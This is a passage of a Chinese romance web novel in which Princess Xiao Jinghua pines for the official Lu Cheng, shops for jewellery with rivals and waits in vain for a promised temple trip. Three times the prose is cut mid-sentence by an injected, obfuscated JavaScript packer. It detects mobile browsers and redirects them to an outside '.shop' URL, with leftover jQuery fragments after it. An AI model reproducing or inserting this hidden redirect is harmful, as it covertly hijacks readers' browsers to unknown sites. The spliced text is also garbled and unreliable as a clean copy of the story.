陆府门前,陆埕与孟年尚未离去,一袭白衣娉娉婷婷,扬着脸,笑着与陆埕搭话。 二人不知说了什么,陆埕对她点了下头,面色舒缓,如沐春风,随后拂袖离去。 少女痴痴凝望着他的背影,低头浅笑,不胜娇羞。 萧婧华不知该如何描述这番场景,若她与那二人并不相识,或许还会与箬竹谈笑,好一个痴情人。 可那人是陆埕。 她只觉如鲠在喉,心中闷塞。 …… “姑娘。”兰芳低声,“郡主走了。” 白素婉轻颔首,笑意点点散去,吩咐道:“盯紧了张骏,当心些,别被人发现了。” 来京城这么久,她不想再等下去了。 陆埕,她势在必得。 …… 回去时,萧婧华坐在马车里发呆。 “吁——” 马车骤然停下,她毫无防备,险些一头栽出去。 好在箬竹手快,抢先一步摁住萧婧华的肩,将她扶回榻上。 “怎么回事,你怎么驾的车。” 女声娇蛮含怒,斥责着车夫。 “好了半青,他也不是有意的,不必苛责。” 少女的嗓音似珠落玉盘,泠泠动听,却又不失温柔舒缓。 一听这声音,萧婧华便知来人是谁了。 她推开车窗,面色不善地盯着对面马车内的人,“你怎么在这儿。” 素手修长如凝脂,缓缓将车帘挑起。那人侧脸姣美,似江南烟雨,素客迎春来。 待她侧过脸来,仿佛一幅朦胧细雨图在眼前徐徐展开。 “初晴见过郡主。”纪初晴颔首示意,唇边带着得体浅笑。 萧婧华微点了下头便要让车夫驱车离开。 她现下心情不虞,没工夫和纪初晴虚与委蛇。 指尖搭在车窗上,正要往回勾,方才那道娇蛮女声再度响起,“表姐,这是谁啊,你不帮我引荐一二?” 纪初晴身后出现一张脸,生得倒是颇为出色,眉宇间与纪初晴有几分相似,却又比不上她那份独有的气韵。 双眸兴味十足地盯着她,那目光令萧婧华微蹙了下眉。 纪初晴温声道:“这是恭亲王府的琅华郡主。郡主,此乃我舅家表妹,孙半青。” 萧婧华和纪初晴当了好几年的死对头,对她的了解不说十分,但七分是有的,如何能看不出她面对那名为孙半青的少女时,眉眼间隐隐的不快? 纪初晴这人最爱装模作样,极少这么明显地表露出不喜。 这个孙半青,有点意思。 虽说纪初晴的笑话难得一见,但她不想掺和进这两姐妹中间,受了孙半青的礼后继续关窗。 “郡主,半青初来乍到,姑姑让表姐带我熟悉熟悉京城,可她整日忙着与人写诗作画,我对这些又一窍不通,只得龟缩在院子里。” 孙半青叹气,“今日好不容易出门,我可不想她陪我逛着逛着又去什么诗会。” “不过有郡主在就不一样啦。”孙半青扬唇,笑容灿烂又真诚,“表姐肯定不会丢下郡主的。” “不知郡主能否与我们同行?” 她期待地看着萧婧华。 随着孙半青的话音,纪初晴的脸色逐渐难看,几乎挂不住笑容。 她话里话外都在挤兑,可瞧着神色表情,似乎又并没有那个意思。 萧婧华还未答,孙半青似发现了什么,懊丧拍嘴,“表姐,我又说错话了,我没有你故意排挤我的意思。” 纪初晴:“……” 她艰难勾了下唇,勉强维持住温婉,“无碍。” 萧婧华乐得看她吃瘪,但这不代表她有闲心留下,淡声道:“不了,本郡主还有事。” 孙半青满脸失望,“来京城后,听说琅华郡主张扬跋扈,高傲自满,十分不好相处。今日见郡主这般和气,我还以为能有幸相交呢,看来是我没有这个福气。” 萧婧华:“……” 这话到底是在贬她,还是在夸她? 萧婧华眼角抽动,身后的箬竹亦是一言难尽。 除了陆埕,萧婧华没在别人那儿受过委屈,当即道:“不是什么大事,也不差这一时半会儿的功夫,正好本郡主也许久未买几件首饰了。” 孙半青瞬间喜笑颜开,“那便有劳郡主了。” 一行人弃车步行,萧婧华领着二人去了灵翠阁。 路上,孙半青一个劲地和她套近乎,那热乎劲,仿佛萧婧华才是她表姐。 萧婧华也不怎么搭理她,时不时点下头,孙半青就跟打了鸡血似的,越发来劲。 一刻钟不到,萧婧华后悔了。 她闲得没事乱应什么话,本就因陆埕心思烦躁,现下耳边还多了只麻雀,叽叽喳喳的,惹得她心里有股气乱窜,闷得慌。 耐心即将告罄前,灵翠阁到了。 作为京城最受女子喜爱的首饰铺子,灵翠阁的东西向来供不应求,萧婧华离开没多久,有几支眼熟的簪子步摇已经没了。 孙半青的目光从进入灵翠阁后便亮得惊人,看看这个又看看那个,目不暇接。 萧婧华拿起一支孔雀钗,口吻随意,“这支倒是挺别致的。”扫了孙半青一眼,“与孙姑娘的衣裳倒是挺配的。” 孙半青今日穿了一件水绿色的短衫,配孔雀绿的褶裙,瞧着精致又清爽。 她看着萧婧华,目露期待。 “箬竹,这支钗留下,本郡主记得有件与孙姑娘同色的襦裙,恰好可搭。” 孙半青笑容僵住。 箬竹憋笑,“奴婢记下了。” 萧婧华漫不经心地拿起一对珠花,懒懒点评,“这个还行。” “这支簪子也不错。” “这顶冠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13158151|138604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好看。” 她一口气买了十多二十件首饰。 纪家虽是相府,但纪相为人清廉,府中并不富贵,纪初晴也只有逢年过节才能在灵翠阁买件首饰。 她悠闲地跟在萧婧华身后,瞧着孙半青羡慕又憋屈的脸色,心里痛快极了。 舅舅家的表妹不知有什么毛病,一入府就与她别苗头,说话阴阳怪气,偏生又一副坦诚模样,让人不好怪罪。最重要的是,她娘疼爱得紧,这段日子,她明里暗里吃了不少亏,今日出了口气,总算是舒坦了不少。 萧婧华发泄一通,心里的气散去了大半。趁着孙半青更衣,她朝着纪初晴冷嘲热讽,“上次相府设宴,听说你与人起争执失了颜面,就是因为这么个玩意?” 纪初晴笑容温婉,“听闻陆大人近日多了个红颜知己,郡主想必不痛快吧。” 姿容出色的两名少女相对而立,一个明艳似朝阳,一个清婉如幽兰,目光相触间,火花四溅。 箬竹与纪初晴的婢女大气不敢出。 半晌,萧婧华冷笑,“我与陆埕的事,不用你关心。有这样一个表妹在,你还是关心自己吧。” 纪初晴笑意不变,“多谢郡主关怀。” 萧婧华给了她一个白眼,领着箬竹走了。 …… 今夜无月,星光暗淡。 朱雀街人声鼎沸,灯火璀璨,卖艺者喷火而出,引得阵阵欢呼。有歌声嘹嘹,欢笑不绝。 有的人家已关了门扉,门前烛光氤氲,半座宅子笼在夜中。 陆埕踏夜而归,颀长身形在石板上投下模糊影子。 孟年落后他一步,手中提了盏灯,灯光散发着昏黄的光,照亮归途。 他感慨,“忙活了快一个月,总算有线索了,藏得可真够深的。” 念叨了一句,孟年陡然想到什么,“离府时太过匆忙,我还没问,大人,你是不是又和郡主闹了?” 陆埕眉心蹙起,“我与她闹?她张口便是我与白姑娘有私,到底谁在闹?” “那不是昨日百花楼前人多,给传出去了嘛,郡主听了心里肯定不舒服。” “无稽之谈,有何可在意?”陆埕不以为意,“她这两年的脾气越发怪了。” “大人啊。”孟年叹气,“这姑娘家都是要哄的,你幼时哄郡主那叫一个得心应手,怎么现下反而跟个木头似的。” 这一句抱怨令陆埕身形顿住,一动不动。 “怎么了?”孟年疑惑。 陆埕微微摇头,重新迈开步子。 他虽未言,但孟年与他自幼相伴,只觉他周身沉郁,一头雾水。 斟酌着转移话题,“前两日遇见胡太医家的药童,说是郡主伤了脚,我本想回来告知你一声,谁知却是忙忘了。” “怎么回事?”陆埕追问:“今日未见她有恙。” 孟年挑起眉头,漫声道:“没说怎么一回事,反正是伤了,想来应当养好了。” 陆埕静默许久,“今岁,好似还未去过承运寺。” 恭亲王在承运寺为已故王妃立了往生牌,盼她来生福泽深厚,喜乐顺遂。萧婧华每隔一段时日便会去承运寺小住几日,为母妃祈福。 往年都是陆埕陪她,今年他忙得不可开交,将此事给忘了。 孟年记得很清楚,“不曾去过。” “你明日去王府与她说一声,待我空闲,带她去承运寺。” 早这样不就好了? 孟年眉尾一扬,含笑道:“知道了。” 11. 第 11 章 春茵葳蕤,花瓣如雨。 洁白梨花轻吻少女发丝,顺着长发坠落。 男子面如冠玉,清冷俊逸,含霜凤眸在看向那少女时,如冰雪消融,万物春生。 他探出手,将少女柔荑握在掌中。 少女低垂的眉目含羞带怯,唇畔带笑,目光一点点上抬,露出一双含情水眸。 肤若凝脂,娇怜柔美。 赫然是白素婉。 萧婧华吓醒了。 东方既白,屋内光线微明,她半坐起身,素手抚着胸口,掌心之下,胸腔内的心脏急遽跳动。 细密汗珠遍布额头,她喉中发干,抖着手去摸床头柜子上的水壶。 放了一夜的水早已凉透,一抹冰凉顺着喉咙滑入,令她恍惚的神志略微清醒了片刻。 放下杯盏,萧婧华靠着床头发呆。 大概是白日里那一幕对她的冲击太大,让她神思不属,做了这么个吓人的梦。 萧婧华抱着双膝,柔顺长发滑落,堆在锦被之上。 她回想着陆埕温和的神色,酸涩地想,他好像,许久未曾这样看过她了。 那种包容温和,只有她一人的目光,是从什么时候消失的? 他能与纪初晴谈笑,能对白素婉和颜悦色,却对她不近人情,冷淡疏离。 萧婧华不解,是她做错了什么吗?若是错了,为何不如儿时一般,直抒胸臆,责令她改正,却要冷落于她。 她会改的。 她虽然一身坏脾气,但如果陆埕让她改,她能改的。 能不能不要再,对她这么冷漠了。 她是会伤心的。 侧脸靠在膝上,一抹晶莹隐入墨发,不见踪影。 …… 孟年登门时,萧婧华正和箬竹打槐花。 不过四月,王府内有棵槐树便开了花,树荫下串串槐花如银,洁白似雪,香气散在空中,随风蔓延。幽雅宜人,令人沉醉。 箬竹未入王府前住在乡下,槐花盛放的时节,阿娘做的槐花饭是她稀薄的童年记忆中难以忘怀的味道。 今晨见萧婧华兴致不高,她忆起此事,随口说了两句。 萧婧华此前还未吃过用槐花做的吃食,一时起兴。 箬竹哪能让她亲自动手,粗使嬷嬷搬来躺椅让萧婧华坐着休息,箬竹则领着几个小丫鬟用竹竿打槐花。 阳光自叶间缝隙照射而下,在萧婧华裙摆上落下斑驳光斑。她一手支颐,凝着树上摇晃的串串雪白,足尖轻晃,裙摆飘荡,光斑随之跳动。 “郡主。” 箬兰从远处跑来。 萧婧华回首。 恰好一朵槐花掉落,坠入她发间。黑鸦映雪,她似精雕细琢而成,尽态极妍,瑰姿艳逸。 箬兰携风而来,喘着粗气道:“郡主,孟年来了。” “是陆埕让他来的?”萧婧华的眸子被一瞬点亮,仿佛枯燥无味的世界刹那间融入五彩斑斓。 不等箬兰回复,她已起身朝外走,完全忘了那日与陆埕的不愉快。 孟年是来送信的,他满脸笑容站在萧婧华对面,“郡主五日后可有空闲,大人欲带您前往承运寺。” “有。”萧婧华掷地有声,眼角眉梢都含着欣悦笑意,“当然有。” 既是陆埕相邀,就算没有,她也能变成有。 孟年道:“郡主别怪我家大人,年后他忙的跟头驴似的,若有得罪之处,还望郡主大人有大量,千万别跟他一般见识。” 萧婧华瞪眼,“你说谁是驴呢!” 孟年拍了下嘴,赔笑道:“我,我是驴。” “这还差不多。” 萧婧华扑哧一笑。 “喏,给你。”她把一碟子糕点塞给孟年,嫌弃道:“瞧你一头的汗,该不会是一路跑来的吧?吃点东西垫垫。” 孟年举着碟子,笑得露出一口白牙,“还是郡主对我好。” 萧婧华给了他一个白眼,细细叮嘱道:“无论再忙,你要记得盯着陆埕用饭,莫要太过劳累。” 孟年嘿嘿笑,往嘴里塞了个栗子糕,“我晓得。” 他走之后,萧婧华嘴角越扬越高,乐得几乎要蹦起来,跑着回了春栖院。 箬兰追都追不上。 “郡主,您慢些,当心摔了。” 萧婧华回首,黑发如瀑,丝丝缕缕发丝自脸颊划过。 她笑靥如花,嗓音欢快,“你快些。” 箬兰微怔。 郡主这几日郁结于心,蓦地露出灿烂笑容,仿佛云销雨霁,彩彻区明。 她被这笑容感染,笑着喊:“就来了。” 回到春栖院时,箬竹已将槐花送到了厨房,正在院门前候着,“郡主,孟年可是有事?” “没有,是陆埕要带我去承运寺。”萧婧华快步进了屋,从衣箱里翻出两条裙子,凤眸明亮如星,“箬竹,你说我带哪条好?” 箬竹抬眼看去。 一条罗裙,裙身纯白如雪,用红线绣着朵朵梅花,白雪映梅,极显气韵。另一条松石色缂丝如意云纹裙,端庄素雅。 尚未开口,萧婧华已将那条罗裙放了回去,口中喃喃:“要为母妃祈福,还是穿得素净些。” 箬竹笑道:“那郡主便搭新做的那件月白色暗纹织锦短衫吧。” “我听你的。” 萧婧华点头,又翻出了几条裙子,参照箬竹的意见,最后选出两条。 选完衣裳,她从新买的首饰中挑出几件素净的。 萧婧华爱美,即便从小到大都不缺穿戴,但她对漂亮首饰的喜爱之心不变。 她没事就喜欢把这些珠花簪子步摇耳铛璎珞拿出来观赏。 这次新买的首饰里,有支双凤纹鎏金银钗甚得她心,可惜太过华贵,不好戴去承运寺。 收拾妥当后,萧婧华坐在榻上望着湛蓝空中白云卷卷,内心期待不已。 晚间用完膳,恭亲王悠闲地喝着茶,“今个儿你皇伯父问你怎么不去看他。闺女,赶明你选个日子进趟宫。” “那可不行,得让皇伯父等几日才行。” 萧婧华毫不犹豫拒绝。 “嘿你这丫头,胆子可真大。”恭亲王搁下杯盏,长眉微挑,“这世上能让你皇伯父等的,可没几个人。” “那我就是其中之一了。”萧婧华挪动凳子,坐在恭亲王旁边,抱着他的胳膊笑盈盈道:“过几日我要和陆埕去承运寺,若是进了宫,皇伯父定会留我住下,那不就耽搁了祈福的日子?” 听她说起祈福,恭亲王身形微顿,将女儿推开,口中嫌弃,“陆埕陆埕,你整日就念叨着陆埕。” “我也念了父王皇伯父太子哥哥和皇祖父皇祖母。” 萧婧华不服气。 “念是念了,却也排在陆埕后头。”恭亲王没好气道:“走走走,赶紧走。” 话落又问:“哪日启程。” “五日后。”萧婧华又粘了过去,把头靠在恭亲王肩上,嗓音轻甜,“父王,我会想你的。” “乖乖,父王也会想你。” 恭亲王动了下肩,萧婧华疑惑抬头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13158152|138604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头顶落下一只大手,恭亲王面色温柔,“若是受了委屈,定要告诉父王,父王给你出气。” “谁能给我委屈受?”萧婧华扬着下巴,笑得一脸骄傲,“我可是琅华郡主,背后站着一整个皇室,谁让我受委屈,本郡主让他吃不了兜着走。” 恭亲王深深地看着她。 重重揉了两下女儿的发顶,他笑声爽朗,“好,不愧是尊贵的郡主娘娘。” 萧婧华忍不住笑。 …… 从得知要去往承运寺起,萧婧华的心情一直保持着愉悦。 将要出门,她便不往外跑了。 府中林大厨最初是御厨,后被崇宁帝赐给恭亲王,一直在王府做事。 萧婧华跑去向他请教,新学了一样糕点。 她手巧,但自幼千娇百宠,不喜亲自动手。除了尽孝心,也就只有一个陆埕能让尊贵的小郡主动动尊手了。 掰下一小块枣泥山药糕送入口中,感受着绽放在唇齿间的清甜,萧婧华双眼微弯。 她迫不及待地想看陆埕吃下这糕点的模样。 林大厨是个身形壮硕的中年男子,面色白净,瞧着有几分讨喜。拿着枣泥山药糕咬了一口,他赞道:“郡主心灵手巧,冰雪聪慧,这手艺,便是我年轻时也无法相比。” 这话虽然有拍马屁的嫌疑,但萧婧华听得通体舒畅,眉眼含笑。 箬兰端来铜盆,她轻拨水面。 净完手后,萧婧华用帕子将水渍擦干,悠悠道:“装一盘给父王送去,剩下的你们拿去分了吧。” 箬兰一脸欢喜,应得又脆又甜,“多谢郡主。” “箬竹,给林大厨赏赐。” 箬竹点头,林大厨更是笑不露眼。 主子大方,他自是高兴。 从厨房出来,天已黑了。 洗漱过后,萧婧华坐在贵妃榻上,手里捧着一本书。 窗棂半开,夜空中繁星密布,耳畔虫鸣时响。 风起,院中竹叶摇晃作响,墙上竹影婆娑。风送来一缕花香,缠绕鼻尖,经久不灭。 蜡烛“滋啦”响,屋内暗了一瞬。她侧头。 箬竹拿着剪子剪烛花,灯芯炸开,越发明亮。 萧婧华看得出神。 也不知,她何时能与陆埕共剪烛花。 将书放下,萧婧华招了箬竹过来。 她捧着脸,无限期待,“这个时节,承运寺的山花应已开了,你说我到时与陆埕赏花如何?” “他的字好看,也可让他帮母妃抄几页佛经。” 箬竹笑,“郡主可先与陆大人抄佛经,再一同赏花。” 萧婧华重重点头,眸中似藏了无数朵花,“这日子怎么过得这么慢,还有整整两日呢。” “郡主歇息吧,睡一觉便是明日了。” “我睡不着。”萧婧华叹气,“你和我说说话吧。” 她歪着头打量箬竹,“你可有心悦之人?若有,我替你操办,让你风风光光嫁出去。” “奴婢六岁便来到郡主身边,哪来的什么心悦之人。” 萧婧华算了算。 箬竹是四岁那年母妃给她的,比自己还要大上两岁,在她身边也已快十三年了。 现在想来,那年当真发生了许多事。 她有了箬竹,失去了母妃,遇见了陆埕。 光阴荏苒,带走了她珍视的,也给了她心中所爱。 萧婧华怔忪。 “不早了。”她翻身下榻,走向雕花大床,“今晚不用守夜,你下去歇息吧。” 12. 第 12 章 出发那日天公不作美。 熹光露了不到两刻钟,便被不知从何处飘来的乌云卷入其中。天沉了下来,偶有几缕金光泄出,却不敌黑压压的云层,终被吞没。 箬兰瞧了眼天色,关了窗,“瞧这模样,像是要下雨。” “郡主,陆大人何时来呀?” “这才辰时,急什么。” 萧婧华吃完最后一口碧梗粥,用帕子轻轻擦拭唇角,“再等等。” 箬兰:“哦。” 侍女们扯下早膳,萧婧华问:“东西都收拾好了?” 箬竹道:“都收到马车上了,陆大人一来便能走。” “那就好。”萧婧华颔首。 昨夜用膳时,她已和恭亲王道了别,她父王一大早就出去会友了。 萧婧华坐着等了片刻,着实难熬,“箬竹,给我找本书来。” 箬竹快步行至书架前,从中挑了本话本子。 郡主最近不看游记,改看话本了。 这书讲的是名千金小姐与书生相恋,却碍于家世门规不得不分开的故事。若是以前,萧婧华定能看得津津有味,今日却心不在焉。 以往能拨动她情绪的话本,此刻味同嚼蜡。 她频频看向门外,期待着心心念念之人能早些出现在面前。 可惜,希望落空了。 “郡主,郡主?” 箬兰放低音量,小心翼翼地问:“还要等吗?都午时了,先传膳吧。” 萧婧华恍然回神。 手中书籍被她捏了一个上午,一页未动。 指骨间传出隐隐酸痛。 她丢开书。 恰在这时,门外响起清晰的脚步声,有人正在靠近。 萧婧华的眸子陡然亮起,惊喜地看向门口。 箬竹领着几名侍女进来,柔声道:“陆大人大抵是耽搁住了,郡主先用膳,用完再等吧。” 身后侍女有序地将膳食摆在桌上。 萧婧华难言失望,动了动唇角,“好。” 这顿饭用得魂不守舍。 饭后,萧婧华让粗使嬷嬷把躺椅搬到院子里。 她半躺在椅子上出神。 箬兰和箬竹凑在一起窃窃私语,“陆大人怎么还不来,就算是有事耽搁了,不能指使孟年来说一声吗?郡主都等了半日功夫了。” 箬竹不知该如何说,心情复杂道:“再等等吧。” 这一等便等到了酉时。 萧婧华倏地站起,“备车,去陆府。” “啊?”箬兰劝道:“郡主,再过半个时辰就要天黑了,现在去……?” 萧婧华坚定点头,“现在去。” 箬兰拗不过她,胳膊肘碰了下箬竹,低声道:“快劝劝郡主啊。” 箬竹不理她,“马夫一直在门外候着,郡主,我们动身吧。” “唉你……”箬兰没拦住,跺了下脚,急忙追了上去。 刚过永奉街,马车突然就不动了。 车夫斥责两声后隔着车门道:“郡主,这马不知怎么的,突然就不走了。” 萧婧华蹙眉。 “郡主不如下车稍事休息,待小的将这马驯服后再行上车。” 思忖过后,萧婧华点了头,“好。” 马车停靠旁边是个食铺,炊烟袅袅,馄饨的香气不断钻入鼻中,老板笑容满面地招待着客人。 萧婧华瞧了两眼,将视线挪开。 箬竹往四周睃巡,指着某个方向道:“那边有家酒楼,郡主可要去歇歇?” 几丈开外矗立着一座两层阁楼,算不上多气派豪华,但瞧着还挺干净。 马夫不知从何处讨来一碗水,正在喂那匹马儿。马儿鼻孔里喘着粗气,快速将那水喝下,可在马夫驱赶时,仍是一动不动。马尾烦躁地甩着,比驴还犟。 萧婧华颔首,“走吧。” 将要到达酒楼时,她骤然驻足。 “郡主,怎么了?”箬兰疑惑发声。 顺着萧婧华的视线看过去,她蓦地失声。 几丈之外的街口站着一对男女,身后各跟着一名丫鬟侍从,均落后二人两步。 少女仰脸不知与对面的男子说着什么,从怀中掏出一只香囊,递到他面前。 男子眉目舒缓,细看,眸底好似含着愉悦之意,宛如春露。 他接过那只香囊,星星点点的笑从眼角溢散开,刹那间将双目点亮。 萧婧华怔怔看着,心里某处好似空了。 她在府中等了他一日,她以为他被要事耽搁,谁知却是在会见佳人。 有那么一个瞬间,她想冲上去分开二人,想当着白素婉的面质问陆埕。 可是……然后呢? 然后,陆埕会责怪她平白毁了人家姑娘的清誉,冷漠的目光会如一柄剑刺在她身上。 见到陆埕此时对白素婉这般温柔的表情,一想到他会露出的冰冷神色,萧婧华只觉呼吸一窒。 箬兰忿忿不平,“郡主,陆大人太过分了,他怎么能丢下您,去见别的女人?奴婢去找他理论。” “别去!” 出声的刹那,萧婧华被自己沙哑的嗓音吓了一跳。 她紧紧攥着箬兰的胳膊,重复道:“别去。” 箬兰被吓住了,无措地看向箬竹。 后者对她摇了摇头。 萧婧华一眼不错地看着陆埕,看到眼睛干涩也不眨一下。 她把陆埕此刻的表情镌刻在心上。 她不明白陆埕为何对她这般冷淡,但这一刻,萧婧华近乎荒谬地想,若她能与白素婉一般柔顺听话,陆埕能否变回以前的模样? 生病时哄她喝药,闯祸时陪她挨罚,与她看花灯,游长街,一同祭典母妃。 她真的好想,好想念陆埕柔和包容的目光。 这个念头如同魔咒,一遍遍在萧婧华脑海中回荡,冲击着她的理智。 白素婉面带红霞与陆埕告别,他轻颔首,唇角微勾,目送她离去,视线许久不曾收回。 指尖木然轻抚眼角,点去微湿。萧婧华深深吸气,一步步向前。 …… 陆埕正欲转身,一道熟悉的声音将他唤住。 “陆埕。” 孟年一听这声,狠狠拍了下大腿,与陆埕低声道:“坏了,把郡主给忘了。她不会等了一日吧?这下完了,郡主指定生气了。” 陆埕眉心微敛,转向来人。 萧婧华在他一步之外站定,嗓音轻柔,“你今日怎么没来?” 这语气…… 孟年意外,居然没生气? 陆埕仔细注视萧婧华的脸,见她并未动怒,低声解释,“抱歉,今日事忙,将此事忘了。” 嗓音带着萧婧华极为喜爱的清冷之意,此刻却令她的心寸寸下坠。 骗子。 他分明是去见白素婉了。 萧婧华强忍着鼻腔涌出的酸意,努力用平静的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13158153|138604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线道:“那你何时有空?” 陆埕道:“近几日应当都无空闲,出发前一日,我让孟年去王府知会你一声。” “好。”萧婧华点头。 二人一时沉默下来。 萧婧华垂眸盯着陆埕袖口。 白素婉送他的那枚香囊便放在此处,即便隔了些许距离,仍能闻见淡淡香气,似春日雨后沾了露的梨花,清新淡雅,挥之不去。 她想把它拽出来,扔到护城河里,眼不见心不烦。 指尖动了又动,终究是忍住了。 半晌后,萧婧华低声道:“那现在……要回去了?” 陆埕心里想着事,闻言下巴轻点,“我先行一步,郡主也快些回吧。” “好。” 她的尾音刚落下,陆埕已转过了身。 孟年对她笑了下,忙跟了上去。 萧婧华在身后凝望他的背影,胸腔内空荡荡的。 …… 回到恭亲王府时,正遇上恭亲王回来。 瞧见女儿疑惑地问了一句,“不是去承运寺了?” 萧婧华不想让父王担心,打起精神,唇角翘了下,“陆埕忙着查案,今日没空,改日再去。” 恭亲王没起疑,“那明日可要进宫?” 萧婧华现在心情不虞,不想见人,便道:“改日吧,陆埕不知要忙几日,等我从承运寺回来,一定进宫看望皇伯父和太子哥哥。” 此话一出,恭亲王便不再劝了。 本就随口一问,既然女儿已经决定好了,他也不再过问。 父女二人一同进府,顺道用了晚膳。 乘着夜色回到春栖院,萧婧华让箬兰将她素雅些的衣裳都找了出来。 她春衫多,更别说今年又新做了好几身,箬兰足足找了两刻钟才找完。 萧婧华选了套汉白玉的襦裙,外罩一件月白色大袖衫。 挑出几件玉饰,她让箬竹为她梳妆。 瀑布似的乌发顺滑无比,箬竹捏着木梳,轻轻把长发疏通,十指灵巧地绾成发髻。 簪上玉簪,萧婧华打量着镜中的自己。 明媚娇艳的五官,素净又精致的装扮,这二者有些不搭。 她回忆着白素婉的神情,唇角微微上扬。 这样看,比方才温婉多了。 萧婧华满意点头。 身后,箬兰箬竹面面相觑,着实不懂郡主何意。 练习了小半个时辰,萧婧华终于感觉到疲惫,卸去玉簪,洗漱安置。 …… 陆埕忙了几日,萧婧华便在府中练习了几日。 到了约定好去承运寺的日子,这次陆埕提前一日让孟年告知她出发的时辰,在城门口等了没多久,陆埕便到了。 甫一见他,萧婧华一怔。 不过几日的功夫,陆埕便瘦了一圈,神色憔悴,眉头紧紧锁着,似是陷入困惑。 她刚想出声问发生了何事,话在嘴边转了一圈,又咽了回去,隔着马车车窗唤他,“陆埕。” 陆埕抬眼。 萧婧华今日穿了件湖水蓝暗纹织锦对襟衫子,发半绾着,另一半垂于胸前。髻上簪着他送她的羊脂玉簪,婉婉有仪,柔情绰态。 她性子一向张扬,喜爱亮丽之色,今日这身倒是有几分别致,却也带着说不出的违和。 萧婧华却将他的恍惚当成了喜欢,欣喜中有一丝说不清道不明的酸涩。她将此忽略,含笑道:“我们走吧。” 13. 第 13 章 承运寺建在城外灵晞山上,立寺至今已有百年,熙熙攘攘,香火旺盛。 山路难行,山脚有条大道直通寺门,也有香客怀着虔诚之心,一步一脚印攀登而上。 萧婧华自然是乘车。 她每年总要来几次承运寺,在寺中算是个熟面孔。 接待香客的僧人见她从马车上下来,忙迎上去,“郡主,陆郎中。” “广茂师父。” 萧婧华笑着与他打招呼。 陆埕颔首,“广茂大师。” 广茂面含笑意,“客舍已收拾妥当,二位请。” 寺内为香客留有歇息的客舍,萧婧华不愿住别人住过的屋子,加之她每年都会捐赠一大笔香火钱,承运寺承她情,专门为她留下一间。 客舍布置简单,自是比不过王府的富贵,但禅意幽远,置身其中,仿佛连心都静了。 时至正午,到达客舍后便有两名小僧拎着食盒而来。 广茂笑道:“饭食简陋,郡主莫怪。” “广茂师父说笑了,承运寺的斋饭赫赫有名,哪来的简陋一说。” 广茂脸上的笑深了几分,“郡主与陆郎中慢用,贫僧告辞。” 萧婧华转向陆埕,轻声道:“你先回去歇息吧。” 陆埕意外。 他以为萧婧华想与他一同用饭,但各自分开也不错,他能安静地理理案情。 萧婧华自然是想与他一起的,但按照话本描述的,她应当体贴,给足他尊重。 若他想与她一起,他会主动提出,而不是由她自作主张。 下一瞬,她听见陆埕说:“好。” 萧婧华心中失望,让箬兰拎上食盒,回了客舍。 虽感伤,但她安慰自己,方才的举动足够善解人意,温柔贤淑,陆埕方才答话时的语气轻了好几个度,应该是满意的。 从京城到承运寺,马车足足驶了一个半时辰,萧婧华早累了,简单用了几口斋饭便躺下歇息。 置身佛寺中,身心都仿佛受到洗濯,萧婧华这一觉睡得极为安稳。 午睡过后,现任主持念觉大师亲自为已故恭亲王妃诵经,萧婧华全程陪同。 梵音悠扬,诵经声声不绝于耳。 她跪在蒲团上,望着恭亲王妃的往生牌。 香烟袅袅,迷蒙了视线。 记忆中香软温馨的怀抱、温柔甜蜜的笑容早已淡去,徒留一张模糊面孔。 萧婧华虔诚一拜。 忆起离去多年的母亲,离开大殿时,萧婧华眉眼含了郁色。 她转身,再抬眼时那抹忧思已消失不见,“主持留步,我明日再来。” 主持念觉胡子花白,左手缠着佛珠,慈眉善目,精神矍铄。闻言行了掌印礼,慈和道:“老衲恭候郡主。” 萧婧华扬唇,拾级而下,对守在菩提树下的陆埕道:“等很久了?” 陆埕正沉浸在案情中,神思瞬间抽离,轻摇头,“没有。” “我们回去吧。” 二人相携回了客舍。 客舍外有张石桌,箬竹拿来笔墨,萧婧华提笔,认真抄写经书。 纪初晴写得一手漂亮的簪花小楷,备受文人墨客推崇。但鲜有人知,萧婧华师承大家,也习得一手好字,龙飞凤舞中笔锋略有几分凌乱,却不失美感。 陆埕同样提笔抄写经书。 二人各自静默,天朗气清,空静寺院中禅香悠远。清风吹拂,偶有几片花瓣卷地而起,爬上行人衣摆。 林间雀影若隐若现,时有鸣啼清脆动听。萧婧华沉浸在经书中,除了耳畔隐隐的磨墨声,再听不见其他。 手腕酸软时,她放下笔。抬头一看,陆埕手边已有抄写好的一沓经书。 眸中闪过笑意,萧婧华起身走到他身旁,略微弯下腰。 纸上的字行笔流畅如流水,苍劲有力,一笔一划都极为端正,像极了他本人。 看着看着,萧婧华讶异道:“徐阳?难不成真有这个地方?” 陆埕霍然抬头,神色带着疑惑,“什么地方?” 